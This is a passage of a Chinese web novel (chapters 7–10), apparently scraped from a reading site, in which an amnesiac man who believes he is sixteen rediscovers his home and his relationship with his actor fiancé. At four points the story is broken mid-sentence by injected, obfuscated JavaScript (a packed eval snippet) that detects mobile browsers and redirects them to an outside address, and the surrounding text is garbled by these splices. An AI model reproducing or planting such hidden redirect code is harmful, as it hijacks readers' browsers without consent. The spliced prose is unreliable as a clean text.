“真奇怪,”他说,“明明二十八岁的傅斯霆,说谎技巧一点都不高。” “怎么反而十六岁的傅小霆,那么擅长不动声色地说谎了呢?” 空气略微安静。 傅斯霆像做错事的孩子,难堪地低下头。 “我的意思是,”厉非无奈,温和地又摸了摸他,“口是心非的高中生傅小霆,虽然长大后不太一样……但也挺,怎么说呢,也挺可爱的?” 可爱。 又是很陌生的词汇。毕竟从小到大,傅斯霆的人生就没有什么东西是可爱的。 他生下来就瘸了,治也治不好,从小就不可爱。后来性格也一直有些孤僻,没什么朋友。 他喂过家附近的一只流浪猫。那猫脸上有一道疤,凶得要死,也不怎么可爱。 可是此刻厉非看着他,眸光点点暖阳,好像真的看着什么极其可爱之物。 “是真的可爱啊,好像一只生人勿近的小刺猬。” 傅斯霆:“……” …… 厉非带着傅斯霆,开始“重新认识”这个家。 摩卡咖啡的苦涩在口腔逐渐淡去,余味开始香甜回甘。这一刻傅斯霆好像才开始明白,二十八岁的自己为什么会爱喝这种东西。 先苦后甜…… 这个家很大。 虽然从那小城堡一般的外观看起来,就已经很大了,可当傅斯霆真的路过铺满硬木地板的古典书房、童话风格的漫画书房、未来科技感的家庭影院房、赛博风格的游戏房,以及风格各异的卧室一、卧室二、卧室三,客房一、客房二…… 他也不确定是不是他数错了。 怎么好像已经数出来了九个卧室七个浴室?这还没算那些功能性放书、放衣服、放乐高、房娃娃和手办的房间。 应该,是他数错了吧? 房子实在太大,弄得他都有点鬼打墙。刚才一侧的落地窗外还是绚丽的花园,这一侧就已经是巨大的游泳池了。他好像还看到了……户外的热水浴缸。 再跟着继续往前走,他又重新看到了小城堡的大门。下面至少有四个车库,什么样的大户人家需要四个车库? 傅斯霆垂眸不看了。 反正也看不明白。 最后,他的脚步停在白色壁炉上方的一大片照片墙前。 海量相片错落有致地排列着,有的用精美的木质相框装裱,有的则是用简约的金属边框镶嵌,还有只是用彩色的丝线悬挂。 傅斯霆一直不敢打开虎牙少年给的U盘,就是因为现在的他知道自己……可能还不能承受那些。 但此刻,他和厉非在海边携手漫步的相片,赫然就这么展现在眼前。 海鸥飞过,夕阳余晖洒在他们身上,勾勒出金色的轮廓,照片上二十八岁自己的笑容,比那橙色的晚霞还要灿烂。 原来,他是能……那样笑的啊。 还有很多别的相片,有两人穿着滑雪服,在皑皑白雪的山坡相依而坐俯瞰着脚下的壮丽景色。有厉非在舞台上光芒四射,而台下的他虔诚注视。 有他在厨房里忙碌的抓拍,有各种和朋友们聚会的欢闹瞬间。 甚至还有不少单纯景物的照片。那似乎只是普通生活中,他们一起在不知名的小巷里偶然发现的一家咖啡店,又或者是出游时遇到的可爱猫狗,稀奇植物。 无数鲜活琐屑、充满生活气息的痕迹。 甚至就连碧蓝天空上奇奇怪怪的白云,也会被拍下,定格成永恒的瞬间。 傅斯霆一张一张看着那些相片,恍恍惚惚。 里面还有一张……似乎是他的大学毕业照。 他在一群人之间穿着蓝黑相间的学士服。同学们好像都笑得很开心,还把帽子抛在空中。 他没怎么笑,但样子好像也不算阴沉。 “Z大……” 毕业照的背景一隅,学校图书馆墙壁上鎏金嵌刻了校名全称。傅斯霆定定看着那几个字。 所以,他不仅战胜胃癌活了下来,居然,还念完了大学? 可他能考上Z大吗? Z大是公认国内前十的名校。可按照傅斯霆现在一落千丈的成绩,应该是远远不够Z大的分数线的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977740|161423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“……” 全程厉非安安静静在旁边,看傅斯霆不动声色瞳孔地震。 “那是你的毕业照,Z大就是你的大学。” 傅斯霆点点头,喉咙动了动,什么都没说。 他似乎不愿再多看,低头目光从毕业照上移开,却又落在壁炉上方小展柜里一些琳琅漂亮的小纪念物、小奖章上。 “你的TGA奖杯。”厉非微笑,从里面拿出一个紫色的星辉奖章,放在傅斯霆手心。 奖章沉甸甸的,表面雕刻着精致的纹路,中央镶嵌着一颗小小的水晶,在灯光下折射出璀璨的光芒。傅斯霆不知道那是什么。 “TGA——The Game Awards,游戏界的奥斯卡。得奖的是你们公司做的第一款独立游戏《澄空幻境》。” “……” “独立……游戏?”公司? “嗯,你本科学的是计算机。大学时你还没有团队,就已经靠自己编曲、自己作画做出第一款小游戏了,是那样赚到的创业启动资金。” “……” 难以想象。 或者说,傅斯霆就是单纯的根本没办法信。 自己的游戏……?可他连打游戏都几乎没打过。他知道班上男生经常会找机会一起约着去网吧联机,但他是绝不可能有这种奢侈的。 除了上电脑课之外,他的日常人生连键盘或手柄都摸不到,又怎么可能和游戏行业搭上关系? 唇角抽搐了一下,他低头苦笑。 真的不是死前回光返照编织的梦境么。 厉非看着他,目光黑沉深邃。 他认识的傅斯霆,热情积极、强大灿烂。跟那样的他待久了,难以想象十二年前的他会是这个样子。 “……” 按说,热恋中的男朋友突然说自己回到了十六岁,不仅不再记得他、不再能随他任意亲亲抱抱,还变成了个不爱笑、浑身带刺的面瘫脸。 这本来该是件非常让人难过的事。 尤其是,至今厉非每次接近他,依旧还能感觉到他的僵硬。虽然没有明显的抗拒,但说实话那种陌生感还是有点伤人。 但厉非决定往好处想。 这还是没有脑血栓失忆版本的二十八岁傅斯霆之前教他的—— “其实我后来发现,人生每一件发生的事,可能冥冥之中都有他的原因和玄机。” “有时候……确实残酷。但既然命运无处可躲,也就只能咬牙撑住,然后尽量往好的方向去拼命努力、同时往好处去想。” 往好处想,倒是不难。 比如此刻。 未婚夫虽然失忆了,但变回了高中时候的他。 正好厉非一直遗憾,没能陪伴傅斯霆度过他最黑暗的那段时光。 他问过很多次,但傅斯霆这个人真的很擅长隐藏曾经的痛苦艰难,不管他怎么问,每次得到的答案都是一笔带过。 很穷,不太好,不太健康,这种笼统的词。 导致厉非就只能从他平常一些不经意的说漏嘴,和偶尔噩梦后的惊悸里,拼凑出他曾经的不幸。 还是趁着这次失忆,他才终于看到了他从未见过的傅斯霆。 看到了那个高中时沉默寡言、生人勿近的他。 那如果抓住这个机会……他是不是终于能找到一点捷径,更好地了解他。 十六岁的小刺猬傅小霆,会比后来骄阳似火的傅斯霆更容易剥开,让他摸摸那颗伤痕累累的心脏吗? 厉非想试试。 8. 第 8 章 厉非之前没见过浑身带刺的傅斯霆,是因为毕竟是傅斯霆先追的他。 正常人都是不太可能一边当刺猬一边追人的。刺猬太早暴露本性的话,只会把喜欢的人吓跑。 所以他遇到的傅斯霆,一直是一个灿烂热烈,谨慎真诚,会做饭、会讲冷笑话、积极又爱笑的男人。 除了偶尔发发疯,其他时间都很温暖,一点都不阴沉。 所以这两天厉非看着回到十六岁时的傅斯霆,其实也是有点无所适从。 但,非要往积极方向想的话……也挺,新奇? 当然,觉得一个失忆的可怜病人新奇有趣,这种想法也挺让厉非没有功德的。 事实证明,他的朋友们只比他更没功德。 手机震动,他的聊天框不知何时赫然出现了一个新群聊。群名称:脑血栓失忆患者吃瓜小分队(9) 群里最新消息,来自“尹以豪·小虎牙版本”。 尹以豪·小虎牙版本:非哥非哥,到家了吗! 尹以豪·小虎牙版本:怎么样啊,回家以后霆哥有没有恢复一点啊?不会还是啥都想不起来吧。真要失忆整整一个月吗? 尹以豪·小虎牙版本:那非哥之后一个月,不是都要在家里饲养霆哥·青涩男高版本了? Emo白:哦豁,青涩男高。我当年都没见过。 F狸游戏FoxFame常傲瑜:哦豁,饲养。 织织大帆船:哦豁,一个月! 珍珍牛奶糖:嘿嘿,青涩男高,嘿嘿。 厉非:“……” 等他从手机上抬起眼,才发现傅斯霆已经不在看照片墙了,而是在定定看着他。 一双灰瞳乍一看没有什么波澜,却很幽深。和记忆中那个爱笑热情温暖的男朋友确实很不一样。 厉非努力接受这种变化。 毕竟…… 眼前的傅小霆,应该只会比现在的他更加不安。 真的。厉非换位思考,如果他失忆了,突然以高中生的身份面对十二年后的复杂的一切,难道又能比现在的傅小霆做得更好? 这么一想,“高中生”傅斯霆失忆后没哭没闹没发疯,只是略微沉默阴郁,其实已经是非常成熟的表现了。 真的。 反而他作为现在这个家里唯一的“大人”,应该要负起更多责任才对。 至少让眼前的傅斯霆过得更舒服自在一点。 …… 壁炉上的照片墙,傅斯霆认真地、一张一张默默看完后,已经冲击到说不出话。 完全没想过去往卧室的扶手梯旁边,还有另外一大片…… 怎么还有啊。 脑子嗡嗡作响。 这一面墙上的照片,比之前那一面的亲朋好友合家欢,更倾向于只有他和厉非两个人的拍立得。 其中一张拍立得上,厉非还带他上了天——物理意义上的上天。 驾驶舱里,厉非拉着他的手,他手腕小狐狸手绳闪着光。 十五岁时,厉非为拍一部好莱坞的动作电影,特意学了开直升机。当时还出了个事故,他的教练驾驶员在高空上突然心脏病发,还是他这个学徒一己之力拉着直升机平安迫降。 最后他和驾驶员都安然无恙,国内外轰动一时。 不过现在对着眼前这张照片,傅斯霆关注的点甚至都不是直升机了——他理解不了的,其实是在那张拍立得照片的黑色边框上,粉色荧光笔写的一行大字“我老婆什么都会”,旁边还画着大大的爱心。 他狗啃一样的字,他自己当然认得。 太显眼了。 很多人都有一个错觉,那就是有画画天赋的人字也肯定写得好,但在傅斯霆这里完全不是这样。 他从小没有学过画画,但天生就画的还可以。尤其擅长寥寥几笔就抓住所画之物的精髓。 同一张照片上,与难看的字格格不入的,是丑字后面那颗非常流畅圆润的漂亮爱心。 以及右下角简笔画的飞行员小厉非,头上一如既往戴着小王冠。 “……” 小王子的画,让傅斯霆对十二年后的世界终于有了一丝真实的感觉。 那画风……绝对是他亲手画的无疑。 随即,他又寻宝一样发现了更多小爱心、小王冠,各种蛋糕、甜甜圈等食物的简笔画。二十八岁的他好像也很喜欢在一切东西上乱涂乱画。 他伸出手,拿起一张照片翻过来。 “……” 果然背面也被画满了! 二十八岁的他,好像真的很快乐。从简笔画上人的表情就能轻易看出那种快乐。 很多很多画上,简笔傅斯霆的小人和厉非在一起,整个眼睛都是^^形状的。 那种快乐,甚至让十六岁的他都被感染到。 他平复了下呼吸,放下那些照片,跟着厉非去到了最后一间走廊尽头的卧室。 房间是海洋主题。深蓝色,是非常适合休息的静谧、放松的氛围,亮晶晶的玻璃水母在台灯柔和的光线下,折射出如梦如幻的色彩。 深墨蓝色的大床上,床罩如丝般光滑,整个床垫也蓬松得像一汪舒服的海。 床头高高耸起,上面摆放的几个靠枕都是海星、扇贝,海兔、小章鱼的形状。 厚实的地毯则是一副藏宝海图,毛绒绒的质感让人忍不住想要光脚踩上去。 傅斯霆兀自恍惚了一会儿,抬起眼,却发现到身边的厉非欲言又止。 视线交汇。 厉非的表情难得竟也有些不自然:“……我本来是想说,这里是我们的卧室,那个是我们的床。” “但你现在,毕竟自我认知还是个高中生。” “……” “才十六岁,还很纯洁。是不是听不得这种成年人的刺激话?” “……” “……” 傅斯霆感觉自己好像动画上碎掉的纸片人,掉成了一片一片。 要不是亲耳听到,他都不能相信这能是厉非亲口说出来的话。一如之前在玄关门口被掐了腰一样,完全让人发疯。 然而,事实上厉非不仅说了,似乎还在等他的答复……可怕得很。 傅斯霆甚觉荒谬。直到被盯了半晌,才艰难地抬眼:“刚才……” “嗯?” “刚才,不是说还要去阳台……看看绿植。” 他声音都哑了。 …… 阳台对着太阳,一派生机勃勃的绿意。 一盆盆傅斯霆根本就不认识的植物——有的吊在盆里藤蔓垂落,翠绿的心形叶片顺着花盆边缘倾泻。有的细长叶子舒展,白色小花散发着清凉香气。 有的看着像厚厚的仙人掌,但是又没有刺。有的叶子肥厚、像莲花般层层叠叠。还有多肉泛着粉嫩或淡青的色泽,仿佛是精心雕琢的玉石。以及长成一串串饱满圆润的葡萄…… “都是你种的。”厉非说。 “……” 手又被握住了。厉非拿着他的手去触摸其中一盆小植物。淡淡的小绒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977741|161423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毛,触感很神奇。 “这叫多肉熊爪,你最喜欢的一盆。” “……” 傅斯霆胡乱点点头。 十二年后的他,不仅会开公司,还会……种花? “好了,现在整个房子都看完了,有什么想问的。” 傅斯霆应该有很多要问,但又想不出要问什么。 他站起来,阳台外面夕阳正在西下。大片大片的云彩被染成了绚丽的深紫,在天空中肆意舒展、变幻。 别墅外的花草树木,也都被勾勒出清晰的金边,倦鸟成群结队地归巢,一道道黑色剪影划过天空。 “……” 厉非微微眯起眼睛。 这一刻夕阳余晖轻柔撒在傅斯霆脸上,几缕发丝在微风中轻动。那双清澈而纯净的眼眸,在夕阳的映照下宛如一泓被染透的清泉。 看来人失忆后,眼神确实是会有变化。 其实在厉非眼里,傅斯霆的眼睛一直都特别干净。只是后来的干净里,没有那么多的青涩和懵懂罢了。 他想,大概任何人都会觉得自己爱人的幼崽形态非常可爱吧。比如这一刻,他看高中傅小霆。 他想着,下意识又一次伸出手,然后一如既往成功地……又把傅小霆给弄僵硬了。 “……” 厉非很无奈:“怎么,到现在还怕我啊?” “……” “还是说,”夕阳下,他黑瞳带着笑,望着紧张到嘴唇抿成一条线的男人,“还是说,高中时候的傅斯霆还太纯洁,恋爱都没谈过,一下子接受不了自己突然有了……男朋友?” “是这样吗,接受不了男生?”他靠近他。 “还是接受不了自己的男朋友已经是个二十八岁的大哥哥?” “……” “其实我们同岁,我只比你大半年。” “但你现在毕竟认为自己只有十六岁。所以二十八岁的男人……对你来说都已经不是哥哥,而应该已经可以叫‘叔叔’了吧?” 他只是稍微逗他,也不知道哪里触动了傅斯霆的神经。 眼前青年苍白的脸刷地一下就熟了。 映着夕阳,就显得更红。 厉非:“……” 傅斯霆的皮肤本来就比正常人白,一向稍微红起来就特别明显。厉非以前逗他也经常会逗得红温,但从没红温成这样过。 要不要对失忆的男朋友那么坏啊……他一时犹豫。 可身体还是逼了过去,都快贴到鼻尖:“傅小霆,其实……” “不是!” 傅斯霆艰难打断,嘴唇都在苍白颤抖。 “我没有不能……” “我没有,不能接受……男朋友。” “……” “……” “二十八岁……也不是。” “也不是……叔……” 叔叔两个字好像烫嘴。傅斯霆脸憋得通红,闭紧薄唇,不做声了。 厉非:“……” 总而言之就是十六岁的傅小霆也没觉得男朋友那么难接受,是吧? 毕竟高中生版的男朋友确实和后来的语言风格不太相同,厉非现在只能努力猜。也怪他,小刺猬现在直接被他逗自闭了,成了一只紧闭的小蚌壳。 明明二十八岁的傅斯霆性格稳定、骄阳似火。 是什么让高中时还这么孤僻别扭的少年,沉淀成后来那样。小蚌壳要经历多少残酷打磨,才能拥有圆滑的明珠。 厉非眸光沉了沉。 9. 第 9 章 从阳台回到客厅,厉非问傅斯霆:“晚饭想吃什么?” 他一边问,一边翻开外卖程序。 披萨,意面,炸鸡,毕竟是国外,能点的也就这些。厉非斜眸看着傅斯霆那努力抉择的空白表情,努力忍住浅浅笑意。 “看来,傅小霆不爱吃白人饭这一点,倒是一直没变。” 他修长手指一划,终于眯着眼睛点开了无数西餐之中藏着的一家四川馆子。 这家四川馆子其实很不正宗,菜单上充斥着左宗棠鸡、炒杂碎和酸甜鸭子等著名假中餐,但很明显的,十六岁的傅斯霆并不嫌弃。 厉非能从他努力保持镇定但明显被点亮的眼睛里看出,他对菜单还挺满意。 “你来点。” “……” 傅斯霆很不要脸地,在装模作样点了两个不是很贵的炒菜之后,鼓起勇气点上了最贵的那道红烧肉。 九十美元的天价,换算成人民币要六七百了。 但,他也是真的,想吃肉。 对食物的渴望最终战胜了尊严。十六岁的傅斯霆正是长身体的年纪,却穷到日常很难吃上大块的肉。他也知道不该乱花钱,可是……以厉非十二年后财力,一次两次应该好像,也吃得起吧。 半小时后红烧肉到了,傅斯霆狼吞虎咽,半口没浪费。 那吃法都给厉非看愣了:“你当心点。躺了一星期都没怎么吃,突然一下不能吃那么多油腻。” 傅斯霆闻言,停手抬起眼。 他其实从失忆之后一直都没什么必然的表情。但至少在这一刻,厉非看他竟难得有点可怜兮兮。 那种神情让厉非后悔为什么进门后只给了他一杯咖啡。 早知道他这么饿,就多喂他点好的了。 怎么饿了也傻乎乎的不说? “行行,你吃吧。慢点吃。” “喜欢的话,明天还可以有,后天也有。不要这么急。” “……” 厉非自己吃东西一向斯文,细嚼慢咽的。 傅斯霆在被他说过要慢以后,也开始尽力放慢速度,一口一口吃。 其实,从以前开始,厉非就发现傅斯霆每次吃到特别喜欢吃的东西时,就会有一点儿猫猫样。 他很难以形容那种神态,反正就是不自觉眼睛会睁大,然后又眯起来,很可爱。 厉非一直在想,他是什么时候有的这种样子。 原来从高中时候就已经有了。 …… 吃完,厉非带他去洗漱。 傅斯霆这回穿过走廊,又默默数了一次,他还是觉得他至少数到了七个浴室。 但,没有道理啊。 总之厉非带他进了其中一个,傅斯霆就没见过那么大的大理石洗漱台和这么闪耀的周围镶着一圈小灯的高清智能镜。 他想起自家那三百块的出租屋,水池极其潮湿逼仄,镜子陈旧且扭曲毛躁。从那镜子里照出来的人,都有些变形。 以至于他都有点不能相信,眼前镜子里倒影出的那张俊美而柔和的脸。 像是加了滤镜,假的一样。 洗漱台上,他和厉非的洗漱杯居然是情侣的……是两只抱抱的黑白小狗。 牙刷也是一黑一白的。 他这边还在发呆,那边厉非已经悠悠然换好衣服洗好了脸:“看我干什么,你也洗漱啊?” “……” 傅斯霆点点头,但还是没动。 他动不了,目光定定盯在厉非新换的浴袍上。 他也说不清那浴袍是什么材质,看光泽好像是丝的,但反正就是……长款,银灰色,只用腰间一根带子系住。 厉非系得又不紧,以至于灯下露出了大片锁骨。 露出锁骨的当事人却似乎浑然不觉,顶着刚洗过脸额头上散乱的湿发,又去刷牙。 电动牙刷嗡嗡响,厉非唇边沾了一丝牙膏的白沫。这是银幕上绝对不可能看到的。 “……” 半晌,傅斯霆才回过神去拿自己的牙刷。 还把小狗杯给碰倒了。 …… 洗漱完,厉非问他:“你今晚是要跟我睡,还是自己睡?” 傅斯霆没有说话。 他彻底听不懂中文了。 厉非见状点点头,就先带他去了绒毛玩偶房。 绒毛玩偶房,顾名思义。房间的每一寸角落都被各种绒毛熊、绒毛兔、绒毛鱼、绒毛恐龙、绒毛仙人掌、绒毛苹果、绒毛西蓝花、绒毛法棍面包……等等填满。 从地面到架子,从窗台到床铺,形态各异的玩偶们汇聚在一起,形成了一片毛绒绒的世界。 这么多海量毛绒和可爱之物,簇拥着一张床。床上则有一只巨大的、憨态可掬的金发小王子,和一只巨大的可爱毛绒狐狸,二十八岁的傅斯霆偶尔会睡它们之间—— 假设某天他必须在公司加班回来得晚,而厉非第二天一早又有重要的拍摄工作时,他就不回卧室了,而是会选择在这对付一晚,以免影响厉非休息。 “这个给你。” 厉非丢给傅斯霆一只毛绒小恐龙。 “你最喜欢的小恐龙兜兜,也重新认识一下吧。” 傅斯霆低头认真看了看。 那是一只非常憨态可掬的口袋小恐龙,确实很像是他会喜欢的样子。 “……” 厉非给床换上了新的枕套,又在床头柜上放好了一杯温水。 “台灯就在你手边,待会儿自己关。” “怕黑的话整夜开着也可以。” “……” “晚安。” 带上房门后,厉非默默在门口站了一会儿。 其实他也有点不习惯——他们在一起之后,虽然偶尔是会因为工作加班分开睡,但那样的情况其实很少。 这几年,他也早就习惯了……滚在柔软厚重的大床里,于爱人温暖的臂弯里沉沉睡去。 傅斯霆在床上时占有欲是很强的。 总是用手臂紧紧环住他的腰,掌心贴在他的背上,努力将他往自己怀里裹得更多一些,根本完全不讲理地据为己有。有时候半梦半醒着,厉非还能感觉到他的手指轻轻拨弄他的头发,或是是梦里低声呢喃他的名字。 可这些行为在渐渐适应之后,厉非也自然而然习惯了身边的呼吸声,习惯了在黑暗中感受到爱人的体温,习惯了在清晨醒来时第一眼看到的是傅斯霆安静的睡颜。 那个被强势包裹的空间,也成了一片宁静而温沉的海。 让他能放心沉溺,能将所有的疲惫和繁杂都包裹、丢掉,然后在一觉醒来后一身轻松。 但…… 眼下这种情况,不能强人所难。 厉非回房路上,不动声色用手机检查了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977742|161423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遍家里的所有安保。作为“家长”,他其实还有点担心十六岁的傅斯霆会不会……到处乱跑。 应该不至于醒来之后就不见了吧? 不过他已经把几道大门都锁了。 正常人如果没参加过什么末日丧尸大逃亡,应该是跑不出去的。 …… 回卧室后,厉非对着蓝色大床叹了口气。 算了,来日方长。 正这么想着,不经意一回头,把他差点吓一跳——有人正无声无息抱着小恐龙站在他身后,失魂落魄,像个怨灵丧尸。 “……” “傅小霆,你干嘛呢?” 男高版傅斯霆此刻脸上的表情迷茫得像在梦游。他灰瞳安静,就那样抱紧小恐龙一动不动地站着。 “你怎么跑过来了,”厉非柔声问他,“是刚才的房间哪里不习惯么?” 傅斯霆像是没听到,继续不说话。 “看来是不喜欢那里,想回来主卧睡?” 十六岁的傅斯霆真的很难猜。 他摇了摇头。 但又不走。 “……” 厉非只能默默掀开被子,自己先上了床,床很大,他只占了平常习惯占的那一边。 “过来吧,”他说,“床足够大,你可以睡在那边。” “……” “放心,你不用怕我。在你恢复记忆之前,我保证肯定不对你做什么。” 但对方还是不动。 厉非无奈,只能掀开被子,啪啪拍着下面柔软的床垫,示意他过来。 还是没动。 厉非:“…………” “傅小霆,高中生确实应该防备不认识的怪哥哥。但现在真的只是让你睡这里而已。” “我知道这个家对你而言还很陌生,房子又大,你害怕也情有可原。” “但……你看我长得像坏人么?” “……” “就算是坏人,倒也还不至于对一个失忆病人……对一个只有十六岁的小朋友下手。” 某人还是不动。 但也不走,就在那儿杵着。 十六岁的傅斯霆,实在是有点迷惑。 厉非无奈,只能重新又下床。踩着柔软的地毯一步步靠近,再度试着伸手,轻轻蹭了蹭傅斯霆的脸。 一如既往的没有抗拒。只是人又很僵硬了,非常僵硬。 厉非眼神一暗。 直接突然一个使力把人打横抱起,啪叽一声丢在了软弹的大床上。 床面哐哐直蹦,孩子的眼里满是震惊和裂开。 但,除了震惊和裂开,应该也有一丝……别的吧?厉非努力找,如果是他熟悉的那个傅斯霆,那个傅斯霆表面上很喜欢他对他温柔,但实际上每次他特别强势,都能发现他在暗爽。 那种暗爽非常细微,不是厉非这种专业演员级别的情绪洞察力估计都看不到他唇角那一抹若有似无的变化。 那,十六岁的傅斯霆呢? 反正厉非是看到了一丝难堪的红晕,还没看清楚嘴角有没有笑意。傅斯霆就抱着小恐龙,直接转头缩在了床上一角。 又不动了。 但看来,好像也不太讨厌他突然强势……? 厉非不知道,总而言之先给孩子盖上被子。封印! 封印成功。 鼓鼓的像个粽子。 10. 第 10 章 傅斯霆在被子里一动不动了很久。 直到四肢都几乎僵硬发麻了,才不着痕迹挪了挪,默默转身过来,从被子下面偷偷露出半张脸。 厉非正靠在床头,手里捧着一本外文书在看。 床头灯的光线柔和温暖,细腻洒在他的侧脸,勾勒出棱角分明的轮廓,给整个人都镀上一层柔和光晕,显得慵懒又矜贵。 他的头发有些凌乱,几缕随意地垂在额前,睫毛在灯光下投下一片淡淡的阴影,深灰色丝质睡衣的领口微微敞开,露出他修长的脖颈和一小片锁骨。 刷啦。 骨节分明的修长手指翻了一页,动作优雅从容。 傅斯霆下意识往床边缩了缩。 然后才想起,他如今的身体已经是二十八岁,有腹肌,也刚洗得干干净净。不再是当年炸鸡店里工作过,那种怎么也洗不掉的后厨味儿。 厉非应该是喜欢他现在的身体的……不会嫌弃他。 他们的每一张合照,也都非常亲密。 正想着,厉非视线忽然从书本移开,看过来。 对上的瞬间,傅斯霆赶紧缩回壳里。随即压在脸上的厚重被子被人从外面拍了拍: “好了,别防备了,赶快乖乖睡觉。” “……” 傅斯霆躲在被子里。半晌,缓缓闭上眼睛。 床头灯下,厉非一直看着身边那安静的一团。 算了,来日方长,又跑不了。 然而后面几页书,厉非也看得十分的心不在焉。实在看不进去了,干脆也关灯躺下,躺了一会儿后,半梦半醒间,冰凉的指尖从被子下面伸了过来,小蛇一样悄么么碰触手腕。 厉非一动,那边立刻触电一样缩回去了。 “怎么,要握着才能睡?” 黑暗里没人做声。 厉非默默然展现了“成年人”的大方,手指反过来探进对面被子底下,带着几分试探和温柔,顺着柔软的床单,直到触着傅斯霆微凉的手。 他不由分说扣住那僵硬的手腕,掌心贴在他的手背上,像是摁住一只受惊的小动物。 傅斯霆的手指微微蜷缩了一下,随后又慢慢放松下来。 “这样安心了没有?睡了。” 黑暗中,身边人继续无声无息,只悄悄从被子里又露出眼睛来,一动不动望着他。 他大概以为周围黑,厉非就不会发现。 但怎么能不发现?黑夜里,身边一双眼睛那么明亮。 “要怎么才能睡啊?”厉非无奈,翻身下了床,细带睡衣下露出修长的腿,“那要不要,开你最喜欢的灯?” 傅斯霆不知道他说的什么灯,只这么默默盯着他的光裸的脚踏上可爱的黑猫凉拖,几步后停在书架前。 厉非打开玻璃门,从里面拿出一个小小的椭圆形小灯。 投影小灯轻轻一拍,就亮了起来,屋顶瞬间出现了一片荡漾的蓝色星海。随着灯光明灭,漫天星空旋转。 “……” 厉非真心觉得,十六岁的傅斯霆是比长大后更有一些小动物属性的。 此刻的他,像个仰望星空的猫咪一样,完全就被迷住了。 怪不得。 “咱们在云南有间度假屋,在那里不下雨时夜里可以看到很多星星。你很喜欢,每年都要去。” 厉非现在总算知道,他到底有多么喜欢看星星了。 “……” “傅小霆,你失忆了,所以有些事情一时可能理解不了,也适应不了,但没有关系,不要怕。” 厉非重新把手腕放在他被子下,让他微凉的指尖重新蹭上来。 “先好好睡吧,一切都会好的。嗯?” …… 隔天早上,傅斯霆醒来,整个大发呆。 他从小身体就一直不太好,早就习惯被窝一觉醒来是冷硬的。所以他很难理解,为什么今天早上被窝是热的,还那么松软。 更不能相信,有人睡在身边陪着他,手指还握着他的手腕。 清晨的阳光透过窗帘柔和的纱,洒进房间时已经变得温柔而轻盈。微风轻轻摇曳,树木的光影也随之在地板和床铺上流动,像是跳动的音符。 傅斯霆的目光缓缓上移。 阳光透过窗外树叶的间隙,在厉非的脸上也落下斑驳光点。 他的碎发一部分柔软垂落在额头上,明明应该是深黑的颜色,却被晨光被照得有些泛着浅金。他就那样睡着,像是童话里等人吻醒的王子殿下。 傅斯霆不自觉有些喉咙发痒。 后背也微微发烫。 他看了不知多久,厉非睫毛翕动,终于醒了。纯黑的瞳带着微笑看过来:“傅小霆,昨晚睡得怎么样?” “……” 傅斯霆昨晚睡得很沉。 沉到像是死了一样,他其实很少有这种经历。就算以前因为工作很累陷入昏睡,也往往不解乏。很少有这种彻底睡饱了的感觉。 但他又真的睡醒了吗,怎么觉得自己还是像在做梦。 厉非起身,身子遮住了阳光,手又习惯性伸了过来蹭了蹭傅斯霆的脸颊。 指尖碰触耳廓,一阵浅浅酥麻。 傅斯霆听到了窗外小鸟悦耳的叽喳声音。 他也默默跟着起床了,厉非问他:“有没有头晕,有没有胃痛,有没有哪里不舒服?” 傅斯霆摇头。 “那先喝点水?” 之前毛绒玩偶房里,厉非就给他床头放了一杯水。现在在主卧的床头,同样放着一杯温水——是一个保温的杯子,下面插着电,设定恒温就在四十五度。 温水下了胃很温暖,也很解渴。厉非一直看着他小口喝完。 这种被关心的感觉,非常陌生。 好像除了很小的时候被外婆喂药这样盯着,傅斯霆之后就没有遇到过了。从小到大,很少有人关心他饿不饿,渴不渴。 “你可以再在这迷糊一会儿。” 厉非说:“迷糊好了,就起床吃饭。” 傅斯霆点点头应了一声,依旧什么真实感,直到脚心在柔软地毯上舒服地蹭了蹭,又踩上小狐狸拖鞋站起来。 “……” “我的腿……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977743|161423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都整整两天过去了,他好像直到这一刻才彻底反应过来。 他的腿,在十二年后,不瘸了。 真的。从昨天到今天,他其实都一直不用拖着腿走路。但他居然完全没发现,就这么自然而然地走了一整天。 